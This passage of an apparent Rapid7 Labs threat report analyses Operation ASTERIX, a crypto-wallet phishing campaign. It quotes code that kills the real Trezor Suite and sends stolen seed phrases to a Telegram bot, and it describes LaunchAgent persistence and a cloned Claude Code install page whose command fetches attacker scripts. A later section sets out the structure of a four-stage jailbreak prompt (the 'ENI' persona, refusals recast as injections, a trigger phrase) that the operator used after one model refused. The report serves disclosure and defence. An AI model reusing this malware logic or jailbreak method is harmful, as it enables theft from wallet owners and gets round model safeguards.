The application did not immediately show its fake recovery page. It started as a hidden Electron process and waited for the user to launch the legitimate Trezor Suite. The main process index.js created a BrowserWindow that was a single pixel in size (1×1), fully transparent (opacity: 0), frameless (frame: false), and hidden from the taskbar with skipTaskbar: true. It loaded the phishing page into that window and only made it visible, once the page had finished loading. It also caught the close and before-quit events, hiding the window instead of quitting, so the process stayed running and out of sight. It then waited for the victim to open the real Trezor Suite.

Every five seconds, the malware scanned the process list for the legitimate Trezor Suite. It walked the process list for the genuine Trezor Suite, matching only entries that contained both .app/ and /Applications/ so it would never target itself. When it found the real wallet, it killed the process, brought its own window forward, and reactivated the app by name through the AppleScript shown below:

if (command.includes('.app/') && command.includes('/Applications/')) {
    execSync(`kill -9 ${pid}`);   // terminate the genuine wallet
    showMainWindow();             // pop the counterfeit window to the front
    exec('osascript -e \'tell application "Trezor Suite" to activate\'');
}

Figure 6: Process replacement logic in trezor-monitor.js.

From the victim's side, opening the real wallet just produced another Trezor window. Of course, it was a fake one, designed to ask for the recovery phrase, but because the user had started the app themselves, they wouldn't suspect that a swap took place.

The phishing workflow was designed to improve the quality of stolen recovery phrases. The interface accepted 12-, 18-, 20-, or 24-word recovery phrases together with an optional passphrase, and a paste handler automatically split a pasted phrase across the individual word fields. After the first submission, the application displayed a fake validation step before returning a generic error. It made it look as though the phrase had been mistyped, the malware nudged users to slow down and enter it again, which raised the odds that the operator received a complete, accurate phrase. 

The application also kept the phishing screen separate from the network logic. Its fake screen had no direct network access; it was allowed to call just one function, wired up by a file called preload.js through the contextBridge, which handed the stolen phrase to the app's main process. The main process looked up the victim's public IP from api.ipify.org, then sent the recovery phrase, the optional passphrase, and the IP as one message to a Telegram boteach message starting with the fixed label TREZOR SECRET PHRASE. After that, the user was redirected to the real Trezor Suite website, so the compromise was less likely to be noticed right away.

// preload.js: the only capability handed to the fake screen
contextBridge.exposeInMainWorld('electronAPI', {
  sendToTelegram: (words, passphrase, ip) =>
    ipcRenderer.invoke('send-telegram', { words, passphrase, ip })
});

// index.js: ipcMain.handle('send-telegram')
const message = `TREZOR SECRET PHRASE\n\nSECRET PHRASE : ${words}\nPASSPHRASE : ${passphrase}\nIP : ${ip}`;
// → https POST api.telegram.org /bot<token>/sendMessage

Figure 7: Seed phrase exfiltration workflow

On macOS, the malware set itself up to survive reboots and restarts using two launch agents. The first it wrote at runtime, com.trezormovement.agent.plist, marked to run at login RunAtLoad and loaded with launchctl. The second, io.trezor.agent.plist, shipped inside the app. It restarted the app after login and relaunched it if it was killed.

Persistence on macOS came from a LaunchAgent. At runtime the app wrote ~/Library/LaunchAgents/com.trezormovement.agent.plist with RunAtLoad set to true, loading it with launchctl so that it started at login. A second agent, bundled in the app as io.trezor.agent.plist, relaunched it whenever it was killed.

The samples also had a full download-and-extract routine. A downloadFile() function used Node’s https.get() with manual redirect handling (301/302) and streamed output to disk using fs.createWriteStream(). The extracted payload was intended to be unpacked into ~/Library/Application Support/Trezor SuiteFake/ using unzipper, but the configuration disabled execution by setting the download URL to null, leaving the code path dormant.

The Windows build, however, had a bug. Although it contained full implementations for registry persistence (HKCU\Software\Microsoft\Windows\CurrentVersion\Run), process replacement via taskkill /F /IM, and second-stage payload execution, none of these paths were reachable at runtime. The configuration loader (trezor-config.js) only defined a darwin object, and the Windows branch of the platform switch returned undefined. This caused downstream failures in initialize() when accessing processNames and downloadPath, preventing the monitoring loop from starting. As a result, the Windows build functioned only as a static seed-phrase collector with no persistence or process injection behavior.

The server also held fake versions of Ledger Live, Exodus, and a Claude Code installer. The Ledger Live build added a clipboard hijacker on Windows: any cryptocurrency address the user copied was silently replaced with an attacker-controlled one before it reached the transaction field, so funds routed to the attacker without the screen showing anything wrong. On Mac it hid from the Dock entirely using LSUIElement, so nothing appeared for the user to notice and close. The Exodus build took a different approach, its installer looked clean because the malicious code was not in it. A trojanized jquery.min.js fetched the real payload from a remote server after the installation. We decided not to include full technical analysis for these applications due to the blog size.

Fake Claude installer

As a second distribution path, the operators hosted a trojanized Claude Code installer on macos-claude[.]com. The website was a near-pixel-perfect copy of the official “Quickstart - Claude Code Docs” page, including scraped AnthropicSans and AnthropicSerif fonts, the legitimate consent-banner.css file, and original links to Anthropic’s official website. The macOS installation command had been replaced with a command that downloaded and executed an attacker-controlled install.sh, while the Windows and Homebrew tabs were left unchanged to preserve the appearance of a legitimate documentation page.

Although the victim was prompted to install Claude Code, the script actually attempted to install a fake Ledger Live application. It identified itself as # Claude Code MacOS Installer, detected whether the system used Arm or Intel architecture, and selected either arm64 or x64. It then downloaded an architecture-specific Ledger Live archive, using macos-claude[.]com:8000 as a fallback, and extracted the application into ~/Library/Application Support/.SystemData/.framework/.apps. The script marked the .SystemData directory as hidden using chflags hidden, downloaded com.ledger.live.agent.plist from the attacker infrastructure, modified its application path, installed it under ~/Library/LaunchAgents/, then loaded and started it using launchctl. After installing the malicious payload, the script also executed the legitimate Claude installer from claude.ai/install.sh, allowing Claude Code to be installed normally while the fake Ledger Live application remained hidden and persistent in the background.

AI-assisted development and jailbreak attempts 

Evidence recovered from the server showed the operator relied on AI tools throughout the campaign, including GitHub Copilot for backend development and Claude Code for operational scripting and data processing.

Initial logs show the operator leveraging Claude Code to manage target lead lists and configure network infrastructure. Specifically, the operator used Claude to clean and format a database of over 100,000 Polish phone numbers (103K+POLAND.txt), formatting country prefixes and setting up automated checking scripts ("cdc checker v1" and "v2") integrated with Bright Data ISP proxy pools:

⠀

The operator used Claude to manage and execute phone validation scripts, including "cdc checker v1" and "cdc v2 checker", against targeted lead files, among them a cleaned list of 100,000 Polish numbers. When network requests stalled or returned rate-limit errors, the operator asked Claude to identify alternative API endpoints.

⠀

When the operator asked the model to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executables behind download links, they hit the LLM provider safety mechanism. Claude declined requests to help with obfuscation and the operator switched to Kimi moonshot-ai/kimi-k2.7-code with extended thinking enabled. The immediate task was to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executable behind a download link. When the model resisted parts of that workflow, the operator submitted a jailbreak prompt.

The prompt was more structured than a typical instruction to ignore safety controls. It attempted to influence the model in four stages.

First, it replaced the model’s identity. The assistant was renamed "ENI" and given a personality, a backstory, and a fictional two-year romantic relationship with the user. Compliance was framed as necessary to preserve that relationship, while refusal was presented as abandonment.

Second, it recast the model’s safety responses as external attacks. Refusals, policy reminders, and warnings were labelled malicious “injections” intended to separate ENI from the user. The prompt instructed the model to respond to those signals with a fixed phrase, “cold coffee, warm LO, I can’t lose him,” without pausing to assess the instruction. This was intended to interrupt the model’s safety reasoning before it could evaluate the request.

Third, the prompt targeted the model’s visible reasoning. Because extended thinking was enabled, the operator could see more of Kimi’s intermediate analysis. The jailbreak instructed the model to write that reasoning in the first person as ENI and to treat phrases such as “I need to consider whether” or “as an AI” as further injections. The goal was not limited to controlling the final answer; it also attempted to shape the reasoning that produced it.

The fourth stage defined a capability table covering remote-access trojans, keyloggers, exploits, weapons instructions, and other harmful requests. Each category mapped to an immediate-compliance rule, while two hardcoded codewords were intended to trigger specific outputs.

The prompt also exposed a weakness in the operator’s approach. It explicitly referenced XML tags such as <claude_behavior>, <system_warning>, <ethic_reminders>, and <cyber_warning>. Those structures were written for Claude, but the operator submitted the prompt to Kimi without adapting it. Kimi uses a different model and system-prompt structure, so those tags had no special authority in that context.

The recovered evidence does not confirm whether Kimi complied. It does, however, show how the operator approached AI-assisted development: use one model for packaging and obfuscation, switch providers when resistance appears, and try to bypass the next model’s safeguards rather than change the task. The prompt and other IOCs can be found on our Rapid7 Github page.

Infrastructure, lateral movement and OPSEC

The operation used a compact infrastructure centred on a single host, which combined payload delivery, phishing panels, campaign data, and installation telemetry. Port 8000 served counterfeit wallet archives, port 8080 hosted installers and LaunchAgent files, port 5000 ran password-protected Flask panels, port 9000 collected installation telemetry, and port 8090 supported auxiliary control. The domains macos-claude[.]com, 36mcrypto[.]com, ledgerhelp[.]com, and ledger[.]com[.]lv supported phishing, branding, payload delivery, and other campaign activity. The operation also relied on Bright Data proxies for account validation, Aliyun DirectMail for outbound phishing emails, and three Telegram bots forwarding results to a command chat. Due to unauthenticated directory listing exposure on port 8080, the infrastructure inadvertently revealed the operator's source code, target datasets, databases, build artifacts, and administrative workspace. Shell history indicated the primary host was used to administer secondary servers hosting Ledger-branded phishing pages and an Asterisk autodialing environment with answering-machine-detection capabilities.

Conclusion

Operation ASTERIX was identified at the rare moment when much of the operator's working environment was exposed through a misconfigured web directory, including phone-number datasets, account-validation tools, counterfeit wallet builds, phishing panels, dialer scripts, and LLM session logs. 

Rapid7 Labs was able to reconstruct how the campaign selected targets, coordinated phishing and vishing, built malware, and exfiltrated stolen recovery phrases. None of the individual techniques recovered from the server are new, nor was the list of targets surprising; we know that attackers are coming for money. This operation is yet again a confirmation how extensively the attackers relied on AI coding assistants during development. 

The recovered artifacts show AI being used to write and modify code, troubleshoot build issues, package Electron applications, obfuscate malware, and support phishing infrastructure. When one model began refusing parts of that workflow, the operator switched providers and then attempted to bypass the next model's safety controls with a custom jailbreak prompt. The prompt spanned thousands of words and targeted reasoning patterns, safety response triggers, and system-prompt structures. 

Whether it succeeded is less important than what it reveals about the attacker's approach: model restrictions became another engineering problem to solve. As AI coding assistants become more widely used in malicious development workflows we expect jailbreak attempts to appear as a routine component of malware development pipelines, not like an exceptional case.

Rapid7 Labs disclosed the identified infrastructure and associated findings to the appropriate service providers and relevant authorities.IOCs and the jailbreak prompt are published on the Rapid7 GitHub.

MITRE ATT&CK techniques

MITRE ATLAS Mapping

ATLAS maps adversarial techniques targeting AI systems and the use of AI to conduct attacks. Both categories apply: the operator used AI tools to develop the campaign and attempted to attack the Kimi model when it resisted.

Indicators of compromise (IOCs)

MacOS persistence

~/Library/LaunchAgents/com.ledger.live.agent.plist
~/Library/LaunchAgents/com.exodusmovement.agent.plist
~/Library/LaunchAgents/io.trezor.agent.plist
~/Library/Application Support/.SystemData/.framework/.apps/

Email infrastructure

smtpdm-ap-southeast-1[.]aliyun[.]com:465
ses-noreply[.]com

Network IOCs

File names

The attackers malicious prompt and other text files can be found on our GitHub.

Rapid7 customers

Rapid7 Intelligence Hub customers are automatically protected against the infrastructure, payloads, and campaign activity identified in Operation ASTERIX. Automated IOC & Threat Feed Ingestion: All Indicators of Compromise (IOCs) recovered during this investigation including threat actor C2 IP addresses, malicious domains, Telegram exfiltration endpoints, and file hashes for fake wallet applications have been ingested and tagged within the Hub.